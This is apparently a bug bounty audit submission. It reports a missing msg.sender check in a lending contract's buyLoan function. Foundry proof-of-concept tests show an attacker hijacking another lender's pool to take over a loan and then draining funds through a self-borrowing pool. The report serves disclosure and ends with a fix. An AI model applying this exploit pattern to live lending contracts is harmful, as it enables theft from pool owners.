20,000 USDC
View results
Submission Details
Severity: high
Valid

Missing `msg.sender` validation against `pool.lender` in the function `buyLoan`.

Summary

The function buyLoan lacks a crucial check, where it fails to validate msg.sender against the actual pool.lender. Consequently, any user can call the function with any poolId, even if they do not own that pool. This loophole allows unauthorised users to deduct poolBalances from the specified pool, while making msg.sender the lender for the loan. As a result, the caller can exploit this situation for profit when using a poolId that they do not hold.

Vulnerability Details

Here is the working unit test of the above described scenario

function test_buyLoan() public {
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
+ // HACKKKKK
+ address hacker = address(0x1337);
+ vm.prank(hacker);
+ lender.buyLoan(0, poolId);
+
+ (address newLender,,,,,,,,,) = lender.loans(0);
+ assertEq(newLender, hacker);
+
// assert that we paid the interest and new loan is in our name
assertEq(lender.getLoanDebt(0), 110*10**18);
}

To further exploit this, the attacker leverages the parameter outstandingLoans, which poses a risk of underflow when the borrower repays the loan. To exploit this vulnerability, the attacker can follow the steps below:

  1. Create a similar pool: The attacker creates a new pool similar to the one which is used in the function buyLoan.

  2. Take debt from own pool: The attacker takes a debt from the new pool that was just created, making it appear as if the loan was borrowed.

  3. Match the debt amount: The attacker ensures that the borrowed amount in the new pool matches the debt of the targeted loan they want to exploit.

  4. Pay the least possible collateral: To minimize the risk, the attacker provides the least possible collateral in the new pool by setting maxLoanRatio value to the maximum.

By executing these steps, the attacker can manipulate the system and exploit the vulnerability, potentially resulting in a loss of funds for the target pool.

POC

// HACKKKKK
uint LAKH = 100000;
uint LOAN = 110;
//INITIAL BALANCE
assertEq(loanToken.balanceOf(hacker), LAKH);
assertEq(collateralToken.balanceOf(hacker), LAKH);
vm.startPrank(hacker);
// Hacker initiates buy loan with poolID, (note hacker has no pools yet).
lender.buyLoan(0, poolId);
// Hacker becomes the lender of the loan, and the previous PoolId provided by hacker looses poolBalance
(address newLender,,,,,,,,,) = lender.loans(0);
assertEq(newLender, hacker);
// To redeem the loan, hacker launches his own Pool with same tokens
Pool memory pHack = Pool({
lender: hacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100,
poolBalance: 1000,
maxLoanRatio: 2**256 - 1, // set to allow minimum collateral deposit
auctionLength: 1 days,
interestRate: 100000, // MAX intrest rate
outstandingLoans: 0
});
bytes32 poolHack = lender.setPool(pHack);
// Hacker borrows from his own pool, i.e, lender == borrower.
Borrow memory b = Borrow({
poolId: poolHack,
debt: 110,
collateral: 1
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
// New Balances after pool deposit & borrows
assertEq(loanToken.balanceOf(hacker), LAKH - 1000 /*setPoolBal*/ + LOAN /* debt added back because borrower is lender */);
assertEq(collateralToken.balanceOf(hacker), LAKH - 1 /* Collateral */);
// Borrower repays loan
loanToken.mint(borrower, 15);
vm.startPrank(borrower);
lender.repay(loanIds);
// Hacker withdraws pool balance
vm.startPrank(hacker);
(,,,,uint poolBal,,,,) = lender.pools(poolHack);
lender.removeFromPool(poolHack, poolBal);
// Profits
assertEq(loanToken.balanceOf(hacker), LAKH + LOAN);
assertEq(collateralToken.balanceOf(hacker), LAKH - 1);
}

Note: Comments provided for the above POC.

Impact

Loss of funds to the specified pool, which was used by attacker in the function buyLoan

Tools Used

Foundry

Recommendations

Check if the msg.sender is the pool owner.
if (msg.sender != pools[poolId].lender) revert Unauthorized();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.